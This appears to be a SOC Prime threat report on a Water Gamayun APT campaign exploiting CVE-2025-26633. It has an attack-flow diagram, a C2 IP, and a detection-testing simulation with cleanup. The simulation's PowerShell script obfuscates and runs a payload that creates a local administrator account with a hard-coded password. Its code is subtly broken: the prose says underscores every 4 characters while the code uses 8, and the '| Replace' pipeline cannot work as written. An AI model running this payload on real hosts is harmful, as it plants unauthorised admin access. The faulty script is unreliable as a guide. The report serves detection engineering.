SOC Prime Bias: Critical

27 Nov 2025 19:10

Zscaler Threat Hunting Exposes and Reconstructs the Water Gamayun APT Campaign

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Zscaler Threat Hunting Exposes and Reconstructs the Water Gamayun APT Campaign
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

The report covers a multi-stage intrusion attributed to the Water Gamayun APT group that exploits a zero-day MMC vulnerability (CVE-2025-26633) to deliver PowerShell payloads in a double-extension RAR archive.

Investigation

Zscaler reconstructed the kill chain from a Bing search redirect to a compromised site, download of a .pdf.rar file, exploitation of MSC EvilTwin, staged PowerShell scripts, and execution of the ItunesC.exe backdoor.

Mitigation

Guidance includes monitoring double-extension archives, inspecting redirects, detecting encoded PowerShell commands, and blocking the malicious IP and domains.

Response

On detection, alert on mmc.exe spawning PowerShell with -EncodedCommand, quarantine the file, block outbound connections to 103.246.147.17, and activate incident response procedures.

“`mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#ffff99 classDef c2 fill:#ffccff %% Node Definitions node_initial_access[“<b>Action</b> – <b>T1659 Content Injection</b><br/><b>Description</b>: Compromise legitimate site to inject malicious redirects”] class node_initial_access action node_malicious_domain[“<b>File</b> – <b>Name</b>: Malicious look‑alike domain<br/><b>Purpose</b>: Serves double‑extension archive”] class node_malicious_domain file node_pdf_rar[“<b>File</b> – <b>Name</b>: brochure.pdf.rar<br/><b>Type</b>: Double extension archive disguised as PDF”] class node_pdf_rar file node_user_execution[“<b>Action</b> – <b>T1204.001 Malicious Link</b><br/><b>Description</b>: Victim clicks link and downloads archive”] class node_user_execution action node_exploit_client[“<b>Action</b> – <b>T1203 Exploitation for Client Execution</b><br/><b>Description</b>: Archive drops .msc that hijacks mmc.exe via MSC EvilTwin”] class node_exploit_client action node_cve[“<b>Tool</b> – <b>Name</b>: MSC EvilTwin exploit (CVE‑2025‑26633)<br/><b>Target</b>: mmc.exe”] class node_cve tool node_mmc[“<b>Process</b> – <b>Name</b>: mmc.exe”] class node_mmc process node_powershell[“<b>Process</b> – <b>Name</b>: powershell.exe”] class node_powershell process node_ps_command[“<b>Action</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b>: EncodedCommand Base64 UTF‑16LE payload”] class node_ps_command action node_obfuscation[“<b>Action</b> – <b>T1027 Obfuscation</b> and <b>T1140 Decode</b><br/><b>Description</b>: Double‑encode PowerShell command”] class node_obfuscation action node_unrar[“<b>Tool</b> – <b>Name</b>: UnRAR.exe”] class node_unrar tool node_rar_payload[“<b>File</b> – <b>Name</b>: Password protected RAR payloads”] class node_rar_payload file node_hidden_window[“<b>Action</b> – <b>T1564.003 Hidden Window</b><br/><b>Description</b>: .NET class WinHpXN calls ShowWindow to hide console”] class node_hidden_window action node_itunesc[“<b>Malware</b> – <b>Name</b>: ItunesC.exe<br/><b>Function</b>: Loader and backdoor”] class node_itunesc malware node_c2[“<b>C2</b> – <b>IP</b>: 103.246.147.17<br/><b>Protocol</b>: HTTPS”] class node_c2 c2 %% Connections node_initial_access –>|redirects_to| node_malicious_domain node_malicious_domain –>|serves| node_pdf_rar node_pdf_rar –>|downloaded_by| node_user_execution node_user_execution –>|triggers| node_exploit_client node_exploit_client –>|drops| node_cve node_cve –>|hijacks| node_mmc node_mmc –>|loads| node_powershell node_powershell –>|executes| node_ps_command node_ps_command –>|uses| node_obfuscation node_ps_command –>|downloads| node_unrar node_unrar –>|extracts| node_rar_payload node_rar_payload –>|leads_to| node_hidden_window node_hidden_window –>|launches| node_itunesc node_itunesc –>|communicates_with| node_c2 “`

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:
    The attacker, leveraging Water Gamayun’s methodology, prepares a malicious PowerShell payload that writes a new local admin user and adds it to the Administrators group. To hide the payload, the attacker:

    1. Writes the PowerShell script in clear text.
    2. Encodes it to UTF‑16LE Base64.
    3. Inserts an underscore (_) after every 4 characters to inflate entropy.
    4. Chains a |Replace('_','') operation so that the runtime PowerShell removes the underscores before decoding, matching the detection signature.

    The final execution command is:

    powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')

    This exact command line satisfies the Sigma rule’s two conditions (-EncodedCommand and |Replace('_','')), generating Sysmon EventID 1 and Security EventID 4688 entries that the rule will flag.

  • Regression Test Script:
    The script below automates the creation of the obfuscated payload and executes it. It can be run on any Windows host with PowerShell 5.1+.

    # Water Gamayun style PowerShell obfuscation simulation
    # Step 1: Define the malicious PowerShell payload (adds a local admin user)
    $payload = @'
    $user = "tempAdmin"
    $pwd  = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
    New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Test admin account"
    Add-LocalGroupMember -Group "Administrators" -Member $user
    '@
    
    # Step 2: Encode to UTF-16LE and then Base64
    $bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
    $b64     = [Convert]::ToBase64String($bytes)
    
    # Step 3: Inject underscores every 8 characters (simulating the group's pattern)
    $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join ''
    
    # Step 4: Execute with the required Replace('_','') pipeline
    powershell.exe -EncodedCommand $b64Underscored | Replace('_','')
  • Cleanup Commands:
    The following commands remove the test user and restore the environment.

    # Cleanup: Remove the temporary admin account created by the test
    $user = "tempAdmin"
    if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) {
        Remove-LocalUser -Name $user
        Write-Host "Deleted test user $user."
    } else {
        Write-Host "Test user $user does not exist."
    }